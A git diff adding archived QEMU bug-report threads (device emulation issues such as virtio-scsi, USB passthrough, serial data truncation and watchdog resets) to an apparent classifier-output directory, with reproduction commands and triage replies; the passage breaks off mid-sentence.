b/results/classifier/deepseek-1/output/device/1013691 new file mode 100644 index 00000000..6118ec5b --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1013691 @@ -0,0 +1,26 @@ + +ppc64 + virtio-scsi: only first scsi disk shows up in the guest + +When adding two virtio-scsi targets to a single guest, only the first +disk is seen inside the guest. For some unknown reason the guest +doesn't enumerate the second disk. + +For full qemu-system-ppc64 command line and 'dmesg' output, see: + +http://lists.nongnu.org/archive/html/qemu-devel/2012-06/msg02430.html + +I have also tried this with Linus's git tree (3.5.0-rc2+ at time of writing), +same thing. + +In both cases I'm using qemu from git. + +Can you test whether the spapr-vscsi controller works instead? + +Yes, that works fine, both disks seen by the guest. + +Only just saw this bug, I assume the problem still exist ? I have somebody look at it next week + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU and guest kernel? Or could we close this ticket nowadays? + +Closed it, very old bug and we successfully test many disks with ppc64/le nowadays. + diff --git a/results/classifier/deepseek-1/output/device/1038070 b/results/classifier/deepseek-1/output/device/1038070 new file mode 100644 index 00000000..cd5e2c9c --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1038070 @@ -0,0 +1,120 @@ + +> qemu-kvm-1.1.1-r1 - USB activkey doesn't work anymore + +Linux Distro: Gentoo + +Smartcard Activkey doesn't work anymore. I use it without problem till version +qemu-kvm-1.0.1. + +Follow a log extraction: +2012-08-14 16:27:34.751+0000: 5487: error : qemuProcessReadLogOutput:1298 : +internal error Process exited while reading console log output: char device +redirected to /dev/pts/40 +ccid-card-emulated: failed to initialize vcard +qemu-system-x86_64: -device +ccid-card-emulated,backend=nss-emulated,id=smartcard0,bus=ccid0.0: Device +'ccid-card-emulated' could not be initialized + +2012-08-14 16:28:01.018+0000: 5486: error : qemuProcessReadLogOutput:1298 : +internal error Process exited while reading console log output: char device +redirected to /dev/pts/40 +ccid-card-emulated: failed to initialize vcard +qemu-system-x86_64: -device +ccid-card-emulated,backend=nss-emulated,id=smartcard0,bus=ccid0.0: Device +'ccid-card-emulated' could not be initialized + +If you need any other info please tell me. + +I've tried with git version with same problem. + +On Fri, Aug 17, 2012 at 12:50:14PM -0000, linuxale wrote: +> Public bug reported: +> +> Linux Distro: Gentoo +> +> Smartcard Activkey doesn't work anymore. I use it without problem till version +> qemu-kvm-1.0.1. +> +> Follow a log extraction: +> 2012-08-14 16:27:34.751+0000: 5487: error : qemuProcessReadLogOutput:1298 : +> internal error Process exited while reading console log output: char device +> redirected to /dev/pts/40 +> ccid-card-emulated: failed to initialize vcard +> qemu-system-x86_64: -device +> ccid-card-emulated,backend=nss-emulated,id=smartcard0,bus=ccid0.0: Device +> 'ccid-card-emulated' could not be initialized +> +> 2012-08-14 16:28:01.018+0000: 5486: error : qemuProcessReadLogOutput:1298 : +> internal error Process exited while reading console log output: char device +> redirected to /dev/pts/40 +> ccid-card-emulated: failed to initialize vcard +> qemu-system-x86_64: -device +> ccid-card-emulated,backend=nss-emulated,id=smartcard0,bus=ccid0.0: Device +> 'ccid-card-emulated' could not be initialized +> +> If you need any other info please tell me. + +I've tried 1.1.1 and current upstream with a Windows 7 guest and the +device seems to show up and function properly in both cases. + +One way that I *can* reproduce the error is by running your command-line +with an NSS database at some place other than the default search path +(/etc/pki/nssdb in 1.1 and upstream). I don't think this has changed +since 1.0, but maybe something changed on the distro side? + +Can you try reproducing by compiling from upstream source? + +> +> I've tried with git version with same problem. +> +> ** Affects: qemu +> Importance: Undecided +> Status: New +> +> -- +> You received this bug notification because you are a member of qemu- +> devel-ml, which is subscribed to QEMU. +> https://bugs.launchpad.net/bugs/1038070 +> +> Title: +> > qemu-kvm-1.1.1-r1 - USB activkey doesn't work anymore +> +> Status in QEMU: +> New +> +> Bug description: +> Linux Distro: Gentoo +> +> Smartcard Activkey doesn't work anymore. I use it without problem till version +> qemu-kvm-1.0.1. +> +> Follow a log extraction: +> 2012-08-14 16:27:34.751+0000: 5487: error : qemuProcessReadLogOutput:1298 : +> internal error Process exited while reading console log output: char device +> redirected to /dev/pts/40 +> ccid-card-emulated: failed to initialize vcard +> qemu-system-x86_64: -device +> ccid-card-emulated,backend=nss-emulated,id=smartcard0,bus=ccid0.0: Device +> 'ccid-card-emulated' could not be initialized +> +> 2012-08-14 16:28:01.018+0000: 5486: error : qemuProcessReadLogOutput:1298 : +> internal error Process exited while reading console log output: char device +> redirected to /dev/pts/40 +> ccid-card-emulated: failed to initialize vcard +> qemu-system-x86_64: -device +> ccid-card-emulated,backend=nss-emulated,id=smartcard0,bus=ccid0.0: Device +> 'ccid-card-emulated' could not be initialized +> +> If you need any other info please tell me. +> +> I've tried with git version with same problem. +> +> To manage notifications about this bug go to: +> https://bugs.launchpad.net/qemu/+bug/1038070/+subscriptions +> + + +Have you ever tried to reproduce this with the upstream QEMU version? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1073952 b/results/classifier/deepseek-1/output/device/1073952 new file mode 100644 index 00000000..081a7578 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1073952 @@ -0,0 +1,35 @@ + +data sent to serial interface gets truncated after 64kb + +When sending more than 64kb of data to the serial interface in a short timespan, the data seems to disappear. + +I tested it with the latest release (qemu-kvm-1.2.0-rc2.tar.gz) where the bug still occurs. I stumbled upon it when I upraged my qemu version. The bug did not occur in the last version i had (0.12.5). + +You can reproduce it as follows: + +1. Start a dd or cat command in one terminal and pipe the output to a netcat. The testfile has to be larger than 64kb. I used one that had 93kb and did contain only ascii text. + + $ dd if=<TESTFILE> | nc -l 127.0.0.1 65432 + or + $ cat <TESTFILE> | nc -l 127.0.0.1 65432 + +2. Start a qemu and let the first serial port connect to the listening netcat. I suppose that the testsystem can be any system that does not read from the serial port on its own (e.g. during boot process). I used a self compiled minimal linux. + + $ qemu -cdrom <TESTSYSTEM> -serial tcp:127.0.0.1:65432 + +3. When the testsystem is booted, read from the serial device and write it to a file. + + $ dd if=/dev/ttyS0 of=/tmp/testFile + or + $ cat /dev/ttyS0 > /tmp/testFile + + +The result in almost all of my testruns is, that the /tmp/testFile does only has the size of 64kb. The rest of the data vanished. In some cases the file was slightly bigger (65kb or 67kb) but allways under 70kb. The complete file (93kb) was not trasmitted in any of the runs. + +I hope my explanation is exactly enough for you to reproduce it. + +Triaging old bug tickets ... can you still reproduce this issue with the +latest version of QEMU (version 2.9)? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1087411 b/results/classifier/deepseek-1/output/device/1087411 new file mode 100644 index 00000000..e698f33e --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1087411 @@ -0,0 +1,24 @@ + +pseries machine breaks in instalation of SLES11_SP2 + +QEMU version: 1.0, 1.1, and 1.2 + +Host OS: +Intel(R) Core(TM) i5-2520M CPU @ 2.50GH + Linux tpad 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux + +SLES Media: +SLES-11-SP2-DVD-ppc64-GM-DVD1.iso: sha256 -> 2247dd6bb495eb50860668e46f7d6ba004eece9909f347c8ce487fd6a5f65ee1 + +Command line: +./ppc64-softmmu/qemu-system-ppc64 -machine type=pseries,usb=off -m 512 -net nic,vlan=0 -net tap -nographic -cdrom +/exports/isos/SLES-11-SP2-DVD-ppc64-GM-DVD1.iso -hda /exports/sles11_sp2.qcow2 -monitor unix:/dev/tty1,nowait,server + +Error message (after starting instalation ~23%): +Installation of package ./suse/ppc64/vim-base-7.2-8.15.2.ppc64.rpm failed. +Subprocess failed. Error: RPM failed: error: %post(vim-base-7.2-8.15.2.ppc64.rpm) + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1200212 b/results/classifier/deepseek-1/output/device/1200212 new file mode 100644 index 00000000..0287293f --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1200212 @@ -0,0 +1,27 @@ + +qemu-system-arm aborts in lsi_soft_reset + +Qemu compiled from master branch (fetched on 11th Jul 2013, qemu-system-arm -version prints "QEMU emulator version 1.5.50, Copyright (c) 2003-2008 Fabrice Bellard") running on OSX 10.6.8 crashes during Debian 7.1 netboot installation with error: "Assertion failed: (QTAILQ_EMPTY(&s->queue)), function lsi_soft_reset, file hw/scsi/lsi53c895a.c, line 351." + +Steps to reproduce: + +1. Get kernel and initrd from http://ftp.debian.org/debian/dists/Debian7.1/main/installer-armel/20130613/images/versatile/netboot/ . +2. Create a hard disk image with qemu-img: qemu-img create -f qcow2 debian.qcow2 2G. +3. Run arm-softmmu/qemu-system-arm -M versatilepb -kernel vmlinuz-3.2.0-4-versatile \ + -initrd initrd-3.2.0-4-versatile-netboot -drive file=debian.qcow2,index=0,if=scsi,media=disk \ + -append "console=ttyAMA0" -nographic -net user,hostfwd=tcp:127.0.0.1:22080-:80,vlan=0 \ + -net nic,vlan=0 -smp 1,cores=4 + +The installation should proceed past partition setup and start downloading packages onto hard disk. After several tries I've never got past 31% with the package downloads before getting Abort trap with "Assertion failed: (QTAILQ_EMPTY(&s->queue)), function lsi_soft_reset, file hw/scsi/lsi53c895a.c, line 351." message. + +This is (very likely) related to this /old/ bug: + +http://lists.gnu.org/archive/html/qemu-devel/2013-04/msg02521.html + +Could you try the patch at http://lists.gnu.org/archive/html/qemu-devel/2013-05/msg00248.html ? + + +Can you still reproduce this problem with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1225187 b/results/classifier/deepseek-1/output/device/1225187 new file mode 100644 index 00000000..1c102236 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1225187 @@ -0,0 +1,44 @@ + +qemu hangs in windows 7 host with -serial pipe:windbg + +Execution line: +qemu-system-i386.exe -m 512 c:\Disks\Qemu_XP_en.vhd -serial pipe:windbg + +It waits for the pipe. +Execute windbg +c:\WINDDK\7600.16385.1\Debuggers\windbg.exe -k com:pipe,port=\\.\pipe\windbg,resets=0,reconnect + +GUI black screen shown. QEMU hangs. + +qemu v1.5.3 (c0b1a7e207094dba0b37a892b41fe4cab3195e44). MinGW built. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + +Tested and this issue still affects the latest version of QEMU (8.2.0) compiled for Windows. + +Instructions in original post are still sufficient to reproduce the problem on Windows 7 x64. +Both i386 and x86_64 were tested and both result in a hung QEMU process. + +The GUI does not open until after the other end of the pipe connects (to WinDbg or other). + +Using -display gtk results in a hung GUI window with a white screen. +Using -display sdl results in a responsive GUI window, but the VM is still hung after the text "SeaBIOS (version rel-...)" is printed to the screen. + +Running with "-d trace:serial_read,trace:serial_write,trace:serial_update_parameters" results in the following output to the console: +serial_update_parameters baudrate=9600 parity='N' data=5 stop=1 +serial_update_parameters baudrate=9600 parity='N' data=5 stop=1 + +I can post additional logs if provided with appropriate parameters for QEMU. + +This bug tracker for QEMU has been obsolete for years. If you think there's a problem with QEMU, please file a full report in the gitlab bugtracker: https://gitlab.com/qemu-project/qemu/-/issues . Thanks. + + +Thank you for the info. + +Current issues tracking this bug: +https://gitlab.com/qemu-project/qemu/-/issues/675 +https://gitlab.com/qemu-project/qemu/-/issues/1468 +https://gitlab.com/qemu-project/qemu/-/issues/1802 + diff --git a/results/classifier/deepseek-1/output/device/1242765 b/results/classifier/deepseek-1/output/device/1242765 new file mode 100644 index 00000000..ef44898b --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1242765 @@ -0,0 +1,77 @@ + +USB passthrough to Windows 7 guest fails with error -110, hangs + +Description of problem: + +Using a Sandisk Cruzer Fit 16GB USB thumb drive. +Using virt-manager on Fedora 19 host, and Windows 7 32 bit guest. + +I set up a USB2 controller on Windows 7 guest in virt-manager. Windows sees the USB drive and can open the file manager and correctly show the files. I can copy a file from the thumb drive to the Fedora desktop, and then play the file on the desktop. However, any attempt to open a file directly on the thumb drive (example, play an MP3 using Windows Media Player) results in guest hang and host kernel messages: + + +Oct 19 21:15:35 localhost kernel: [187592.977839] usb 1-1.3: reset high-speed USB device number 13 using ehci-pci +Oct 19 21:15:40 localhost kernel: [187598.065274] usb 1-1.3: device descriptor read/all, error -110 +Oct 19 21:15:40 localhost kernel: [187598.138167] usb 1-1.3: reset high-speed USB device number 13 using ehci-pci +Oct 19 21:15:56 localhost kernel: [187613.218119] usb 1-1.3: device descriptor read/64, error -110 +Oct 19 21:16:11 localhost kernel: [187628.399275] usb 1-1.3: device descriptor read/64, error -110 +Oct 19 21:16:11 localhost kernel: [187628.573355] usb 1-1.3: reset high-speed USB device number 13 using ehci-pci +Oct 19 21:16:16 localhost kernel: [187633.587778] usb 1-1.3: device descriptor read/8, error -110 +Oct 19 21:16:21 localhost kernel: [187638.702244] usb 1-1.3: device descriptor read/8, error -110 +Oct 19 21:16:21 localhost kernel: [187638.876201] usb 1-1.3: reset high-speed USB device number 13 using ehci-pci +Oct 19 21:16:26 localhost kernel: [187643.890642] usb 1-1.3: device descriptor read/8, error -110 +Oct 19 21:16:31 localhost kernel: [187649.005071] usb 1-1.3: device descriptor read/8, error -110 +Oct 19 21:16:31 localhost kernel: [187649.106188] usb 1-1.3: USB disconnect, device number 13 +Oct 19 21:16:31 localhost kernel: [187649.178969] usb 1-1.3: new high-speed USB device number 14 using ehci-pci +Oct 19 21:16:47 localhost kernel: [187664.258945] usb 1-1.3: device descriptor read/64, error -110 +Oct 19 21:17:02 localhost kernel: [187679.440092] usb 1-1.3: device descriptor read/64, error -110 +Oct 19 21:17:02 localhost kernel: [187679.614194] usb 1-1.3: new high-speed USB device number 15 using ehci-pci +Oct 19 21:17:17 localhost kernel: [187694.694148] usb 1-1.3: device descriptor read/64, error -110 +Oct 19 21:17:32 localhost kernel: [187709.875297] usb 1-1.3: device descriptor read/64, error -110 +Oct 19 21:17:32 localhost kernel: [187710.049386] usb 1-1.3: new high-speed USB device number 16 using ehci-pci +Oct 19 21:17:37 localhost kernel: [187715.063803] usb 1-1.3: device descriptor read/8, error -110 +Oct 19 21:17:41 localhost kernel: [187719.005453] usb 1-1.3: device descriptor read/8, error -71 + +After that -71 error, the thumb drive completely disappears from the host, as if it is powered down. + +I read that -110 is supposedly a power issue. I can play media files directly from the thumb drive on the host, so the power seems fine on the host. + + +How reproducible: +always + + +Steps to reproduce: +1. use virt-manager, create a Windows 7 32 bit guest +2. in virt-manager, set Controller USB to USB2 +3. on host, insert Sandisk Cruser Fit thumb drive FAT32 format, with an MP3 file on it +4. in virt-manager, add a USB passthrough device and assign it to thumb drive +5. boot Windows 7 guest +6. verify that Windows 7 can see the thumb drive +7. use Windows Media Player to play MP3 + +Actual results: +guest hangs, then host powers off thumb drive + +Expected results: +The MP3 file should play :) + + +Additional info: + +Fedora 19 + +Installed Packages +qemu-common.x86_64 2:1.4.2-11.fc19 @updates +qemu-guest-agent.x86_64 2:1.4.2-11.fc19 @updates +qemu-img.x86_64 2:1.4.2-11.fc19 @updates +qemu-kvm.x86_64 2:1.4.2-11.fc19 @updates +qemu-system-x86.x86_64 2:1.4.2-11.fc19 @updates +virt-manager.noarch 0.10.0-3.fc19 @updates +kernel.x86_64 3.11.1-200.fc19 @updates + +Can you still reproduce this problem with the latest version of QEMU, or could we close this ticket nowadays? + +You may close. It's since worked fine for me. + +Also the ticket is years old :D + diff --git a/results/classifier/deepseek-1/output/device/1258626 b/results/classifier/deepseek-1/output/device/1258626 new file mode 100644 index 00000000..9416064e --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1258626 @@ -0,0 +1,27 @@ + +Curses Keyboard Broken On OS X + +Whenever I run ``qemu-system-i386 -curses ...'' (with or without a ``-k en-gb'') on OS X 10.9, the keyboard does not work properly. For example, when attempting to switch to the QEMU console with Alt+2, I get: + +``Warning: no scancode found for keysym 226 +Warning: no scancode found for keysym 130 +Warning: no scancode found for keysym 172'' + +I have checked and these scancodes are not mentioned in ``share/qemu/keymaps/''. + +EDIT: I should have mentioned that this is using QEMU 1.6.1, but the problem also occurs with 1.3.1. Also, in case it makes a difference, I installed QEMU using Homebrew. + +Does the problem still occur with the latest version of QEMU (currently v2.8)? + +[Expired for QEMU because there has been no activity for 60 days.] + +Yes, I can still reproduce this with 2.8.0, and it gives exactly the same output. + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/98 + + diff --git a/results/classifier/deepseek-1/output/device/1296882 b/results/classifier/deepseek-1/output/device/1296882 new file mode 100644 index 00000000..79970583 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1296882 @@ -0,0 +1,12 @@ + +add next free device option to qemu-img + +I'd like to propose an option to be added to qemu-img which returns the next free NBD (the device file) very similar to losetup -f. It would make life a lot easier. + +Followers of this enhancement request might be interested in the following workaround: http://stackoverflow.com/questions/22535222/next-free-device-option-for-qemu-nbd/ + +The QEMU project is currently considering to move its bug tracking to another system. For this we need to know which bugs are still valid and which could be closed already. Thus we are setting older bugs to "Incomplete" now. +If you still think this bug report here is valid, then please switch the state back to "New" within the next 60 days, otherwise this report will be marked as "Expired". Or mark it as "Fix Released" if the problem has been solved with a newer version of QEMU already. Thank you and sorry for the inconvenience. + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1299566 b/results/classifier/deepseek-1/output/device/1299566 new file mode 100644 index 00000000..b9f30501 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1299566 @@ -0,0 +1,19 @@ + +virtio serial doesn't work with virtio nic + +If virtio NIC is not used virtserialport works and delivers data written to /dev/vport0p1 to localhost:4444: + +qemu-system-x86_64 -enable-kvm -kernel mykernel -initrd myramdisk -device virtio-serial -chardev socket,host=localhost,port=4444,id=agent -device virtserialport,chardev=agent,name=hera.agent -net user -net nic + +If using virtio nic, write to /dev/vport0p1 succeeds, but no data is delivered to localhost:4444: + +qemu-system-x86_64 -enable-kvm -kernel mykernel -initrd myramdisk -device virtio-serial -chardev socket,host=localhost,port=4444,id=agent -device virtserialport,chardev=agent,name=hera.agent -net user -net nic,model=virtio + +This bug exists in 2.0 release, Debian's QEMU 1.7 package and b3706faf from git. + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +I can't reproduce it now, I don't even remember this issue. + +Ok, thanks for your answer. Then let's assume that it has been fixed by one of the past releases. + diff --git a/results/classifier/deepseek-1/output/device/1334397 b/results/classifier/deepseek-1/output/device/1334397 new file mode 100644 index 00000000..3a0fd37f --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1334397 @@ -0,0 +1,16 @@ + +cmos RTC alarms no longer wake system from suspend + +Running QEMU emulator version 2.0.0 (Debian 2.0.0+dfsg-2ubuntu1.1), booting Linux kernels with qemu-system-x86_64 and qemu-system-i386, I no longer see the system resume from suspend when an RTC alarm is set. + +My simple test application can be found here: +https://github.com/johnstultz-work/timetests/blob/master/alarmtimer-suspend.c + +Previously this worked w/ QEMU 1.5 (bascially up until I upgraded from Ubuntu 13.10 to Ubuntu 14.04, which came with 2.0). + +If a fix has already been committed, is there a branch or tag in the qemu git repo I should validate this with? + +I went back and tried the 1.7 and 1.6 releases, and they both seem to have been broken as well wrt cmos alarms waking from suspend. + +I assume this has been fixed in v2.1.0 or newer, like the "Fix committed" state indicates, so closing as "Fix released" now. In case there still something left to do here, feel free to re-open it. + diff --git a/results/classifier/deepseek-1/output/device/1368204 b/results/classifier/deepseek-1/output/device/1368204 new file mode 100644 index 00000000..0d024e22 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1368204 @@ -0,0 +1,26 @@ + +WinME isn't able to detect QEMU's cdrom drive and other hard drives automatically + +On a fresh installation of Windows Millennium (WinME) in qemu, Windows Me isn't able to find the CD-ROM drive or additional hard drives other than -hda at first place. + +Only if i add manually an IDE controller driver in Windows ME's device manager, the CD-ROM inserted in QEMU is found. +Thus an IDE controller isn't found automatically either. + +This shouldn't be the case. On normal real hardware, Windows ME would find at least one IDE or SCSI controller. + +The command line that was used is the following: +sudo /usr/bin/qemu-system-i386 -hda WinME_QEMU.img -cdrom drivers.iso -boot c -no-acpi -no-hpet -soundhw sb16 -net nic -cpu pentium3 -m 256 -vga cirrus + +qemu's version is: +qemu-system-i386 --version +QEMU emulator version 2.0.0 (Debian 2.0.0+dfsg-2ubuntu1.3), Copyright (c) 2003-2008 Fabrice Bellard + +Looking through old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +As far as i can remember, this bug was still valid with QEMU version 2.5.0 shipped with Kubuntu 16.04. +I am planning to switch to Kubuntu 18.04 in the next couple of weeks. There i can test it with QEMU version 2.11.x. +https://packages.ubuntu.com/bionic/qemu + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1402289 b/results/classifier/deepseek-1/output/device/1402289 new file mode 100644 index 00000000..02774c22 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1402289 @@ -0,0 +1,40 @@ + +netware 5.1 and SCSI (LSI Logic 53c895a) = lsi_scsi: error: readb 0x49 + +Subj. + +This error occurs while loading LSIHINW.HAM driver in the netware5.1 SP8 installer. + +Affected versions: qemu 2.1.2 and 2.2.50 from git (2014-12-14). +Linux kernel: 3.17.6 and 3.18.0. + +Debug log for machine in the attachment. + + + +Netware 6.5 SP8: affected. + +On Sat, Dec 13, 2014 at 10:31:20PM -0000, Ainur Shakirov wrote: +> This error occurs while loading LSIHINW.HAM driver in the netware5.1 SP8 +> installer. +> +> Affected versions: qemu 2.1.2 and 2.2.50 from git (2014-12-14). +> Linux kernel: 3.17.6 and 3.18.0. +> +> Debug log for machine in the attachment. + +The LSI SCSI controller has known issues and is not actively maintained. + +Stefan + + +This also affects NW 4.2 with the Novell LSI8XXNW.HAM driver. + +lsi_scsi: error: readb 0x49 + + + +Triaging old bug tickets... can you still reproduce this issue with the latest version of QEMU? Or could we close this ticket nowadays? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/device/1422285 b/results/classifier/deepseek-1/output/device/1422285 new file mode 100644 index 00000000..ce6d336d --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1422285 @@ -0,0 +1,108 @@ + +The guest will be destroyed when hot plug the VF to guest for the second time. + +Environment: +------------ +Host OS (ia32/ia32e/IA64):ia32e +Guest OS (ia32/ia32e/IA64):ia32e +Guest OS Type (Linux/Windows):linux +kvm.git Commit: 6557bada461afeaa920a189fae2cff7c8fdce39f +qemu.kvm Commit: cd2d5541271f1934345d8ca42f5fafff1744eee7 +Host Kernel Version:3.19.0-rc3 +Hardware:Haswell_EP,Ivytown_EP + + +Bug detailed description: +-------------------------- +create guest , then hot plug the VF to the guest for the second time, the guest will be destroyed. + +note: +1. hot plug the device to guest with vfio, the guest works fine +2.this should be a qemu bug: +kvm + qemu = result +6557bada + cd2d5541 = bad +6557bada + a805ca54 = good + + +Reproduce steps: +---------------- +1. qemu-system-x86_64 -enable-kvm -m 2G -net none -monitor pty rhel6u5.qcow +2. echo "device_add pci-assign,host=03:10.1,id=nic" >/dev/pts/2 +3. cat /dev/pts/2 & +4. echo "device_del nic" >/dev/pts/2 +5. echo "device_add pci-assign,host=03:10.0,id=nic" >/dev/pts/2 + +Current result: +---------------- +guest will be destroyed when hot plug the vf to guest for the second time. + +Expected result: +---------------- +guest works fine when hot plug the vf to guest for the second time + +Basic root-causing log: +---------------------- +[root@vt-hsw2 cathy]# qemu-system-x86_64 -enable-kvm -m 2G -net none -monitor pty rhel6u5.qcow +char device redirected to /dev/pts/2 (label compat_monitor0) +Segmentation fault (core dumped) + + +some dmesg log: + +pci-stub 0000:03:10.1: kvm deassign device +pci-stub 0000:03:10.1: enabling device (0000 -> 0002) +qemu-system-x86[9894]: segfault at 0 ip (null) sp 00007fa73df0cae8 error 14 +pci-stub 0000:03:10.1: kvm assign device + +the first bad commit is: +commit ec6f25e788ef57ce1e9f734984ef8885172fd9e2 +Merge: 007c99f 9ef1473 +Author: Peter Maydell <email address hidden> +Date: Tue Feb 3 21:37:16 2015 +0000 + + Merge remote-tracking branch 'remotes/rth/tags/pull-tg-s390-20150203' into staging + + s390 translator bug fixes + + # gpg: Signature made Tue 03 Feb 2015 20:39:15 GMT using RSA key ID 4DD0279B + # gpg: Good signature from "Richard Henderson <email address hidden>" + # gpg: aka "Richard Henderson <email address hidden>" + # gpg: aka "Richard Henderson <email address hidden>" + + * remotes/rth/tags/pull-tg-s390-20150203: + target-s390x: fix and optimize slb* and slbg* computation of carry/borrow flag + target-s390x: support OC and NC in the EX instruction + disas/s390.c: Remove unused variables + target-s390x: Mark check_privileged() as !CONFIG_USER_ONLY + target-s390: Implement ECAG + target-s390: Implement LURA, LURAG, STURG + target-s390: Fix STURA + target-s390: Fix STIDP + target-s390: Implement EPSW + target-s390: Implement SAM specification exception + + Signed-off-by: Peter Maydell <email address hidden> + +please ignore comment 1. + +the first bad commit: + +commit 374f2981d1f10bc4307f250f24b2a7ddb9b14be0 +Author: Paolo Bonzini <email address hidden> +Date: Fri May 17 12:37:03 2013 +0200 + + memory: protect current_map by RCU + + Replace the flat_view_mutex with RCU, avoiding futex contention for + dataplane on large systems and many iothreads. + + Reviewed-by: Fam Zheng <email address hidden> + Signed-off-by: Paolo Bonzini <email address hidden> + + + +kvm.git + qemu.git:4ff6f8e6_3d30395f +host kernel:4.0.0_rc1 +test on Haswell_EP +when hot plug the vf to guest for the second time, the guest works fine. + diff --git a/results/classifier/deepseek-1/output/device/1423528 b/results/classifier/deepseek-1/output/device/1423528 new file mode 100644 index 00000000..6aa7a4c7 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1423528 @@ -0,0 +1,34 @@ + + setting unsupported timeout for i6300esb watchdog causes hw reset + +Bug-Debian: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=778291 +Version: 2.1 + +systemd utilizes existing watchdog hardware and set's a 10min timer on reboot. +The i6300esb under qemu doesn't like such a timeout, and immediately resets the hardware: + +The last message one gets is +[ 9.402243] i6300esb: Unexpected close, not stopping watchdog! + + +The linked bug report contains information how this bug can easily be reproduced. +With any image using a recent enough systemd as PID 1 you should be able to reproduce it by running + +qemu-system-x86_64 -curses -enable-kvm -device i6300esb -watchdog-action reset -hda <image with systemd> + + +I'm uncertain if this is a qemu or kernel/driver bug. If the latter, please re-assign the bug as necessary. + +Looking through old bug tickets... is this still an issue with the latest version of QEMU? Or could we close this ticket nowadays? + + +There's nothing changed in i6300esb about this issue. I can reproduce it exactly the same way with current qemu 5.1-tobe + + +This is an automated cleanup. This bug report has been moved to QEMU's +new bug tracker on gitlab.com and thus gets marked as 'expired' now. +Please continue with the discussion here: + + https://gitlab.com/qemu-project/qemu/-/issues/112 + + diff --git a/results/classifier/deepseek-1/output/device/1440843 b/results/classifier/deepseek-1/output/device/1440843 new file mode 100644 index 00000000..bf1d6792 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1440843 @@ -0,0 +1,39 @@ + +Guest WinXP crashes when trying to use a USB spectrometer + +I'm using Amadeus spectrometer (OceanOptics USB250) via Windows-based software "Quantum". I've tried six ways of attaching it to QEMU: + +1. command line parameter "-device usb-host,hostbus=3,hostaddr=25" +2. command line parameter "-device usb-host,vendorid=0x2457,productid=0x1030" +3. command line parameter "-usbdevice host:2457:1030 +4. command line parameter "-usbdevice host:3.25" +5. qemu console command "usb_add host:2457:1030" +5. qemu console command "usb_add host:3.25" + +From these, only "-device ..." options work, i.e. numbers 1 and 2 in the list above, and all others lead to IRQL_NOT_LESS_OR_EQUAL BSOD in usbuhci.sys when I launch Quantum, which tries to start acquiring spectra. + +I've also tried to reproduce the crash with a flash drive, but couldn't — it seems to work reliably in this case. + +Which version is used? Try the latest QEMU or at least QEMU 2.0. +The behavior sounds like a pretty old QEMU version. +Additionally, enable the EHCI controller (see example in the docs subdirectory). +It it working on a native Windows XP? + +I was using QEMU from git, v2.3.0-rc2, when reporting this bug. And this is the same since much earlier (about a year older) version. And of course I do enable EHCI controller via `-device usb-ehci`. And checked it with native Windows XP, where the device works with no problem. Actually, as I said in OP, `-device hsb-host,...` options work in QEMU too, but the others like `-usbdevice host...` and `usb_add host...` don't. + +Please check that the devices get added to the EHCI bus and not to the UHCI. +As far as I know the -usb* commands are deprecated. The functions behind the -device usb* and -usb* should behave the same. + +Indeed, the device appears added to the UHCI in both crashing cases and to EHCI in the working case. Also, sometimes instead of BSOD of guest OS I get abort of QEMU: + +qemu-system-i386: hw/usb/core.c:735: usb_ep_get: Assertion `pid == 0x69 || pid == 0xe1' failed. +/usr/bin/qemuxp: line 4: 13514 Aborted (core dumped) qemu-system-i386 /home/ruslan/iso/Windoze/qemuxp.img -m 512 -display sdl -vga vmware -enable-kvm -usb -device usb-ehci $* + +here $* stands for + +-snapshot -hdb ~/iso/ntfs-data.img + +and the crash was triggered by using usb_add command in QEMU terminal and then attempting to access the device from WinXP. + +"-usbdevice host" and "usb_add host" have been removed with QEMU 2.12, so marking this bug as Wont-Fix. + diff --git a/results/classifier/deepseek-1/output/device/1478376 b/results/classifier/deepseek-1/output/device/1478376 new file mode 100644 index 00000000..e8ba03f0 --- /dev/null +++ b/results/classifier/deepseek-1/output/device/1478376 @@ -0,0 +1,50 @@ + +PL050 KMIDATA register does not reset + +static uint32_t pl050_read(void *opaque, target_phys_addr_t offset){ + ... + case 2: /* KMIDATA */ + if (s->pending) + s->last = ps2_read_data(s->dev); + return s->last; +} + +When the receive queue is empty (s->pending is false), is the KMIDATA register supposed to be reset to 0x00? In the current 